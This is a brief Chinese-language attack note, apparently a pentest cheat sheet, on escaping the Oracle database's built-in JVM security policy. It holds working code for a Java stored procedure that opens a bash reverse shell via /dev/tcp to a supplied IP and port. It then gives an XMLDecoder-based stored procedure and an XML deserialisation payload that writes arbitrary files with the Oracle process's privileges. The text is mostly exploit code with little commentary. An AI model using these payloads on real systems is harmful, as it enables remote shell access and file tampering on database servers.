Oracle 内置的 JVM 有默认的安全控制策略,直接用 Runtime.exec() 执行系统命令会报错。

比如:

SET scan off
 
create or replace and compile java source named ReverseShell as
import java.io.*;
public class ReverseShell{
   public static void getConnection(String ip, String port) throws InterruptedException, IOException{
      Runtime r = Runtime.getRuntime();
      Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"});
      System.out.println(p.toString());
      p.waitFor();
   }
}
 
// then
create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2)
IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)';

会触发以下错误:

但是可以利用 XMLDecoder,它在反序列化过程时可以绕过 JVM 的权限管理策略,向系统写入 任意文件。

create or replace and compile java source named DecodeMe as
import java.io.*;
import java.beans.*;
public class DecodeMe{
    public static void input(String xml) throws InterruptedException, IOException {
 
      XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
      Object object = decoder.readObject();
      System.out.println(object.toString());
      decoder.close();
 
    }
}
;
 
// then
CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS
    language java name 'DecodeMe.input(java.lang.String)';

然后执行以下 SQL 语句:

BEGIN
   decodeme('
    <java class="java.beans.XMLDecoder" version="1.4.0" >
        <object class="java.io.FileWriter">
          <string>/tmp/PleaseDoNotWork.txt </string>
          <boolean>True</boolean>
          <void method="write">
              <string>Why for the love of god?</string>
          </void>
          <void method="close" />
        </object>
    </java>');
END;

将会以 Oracle 运行者的权限写入 PleaseDoNotWork.txt 文件。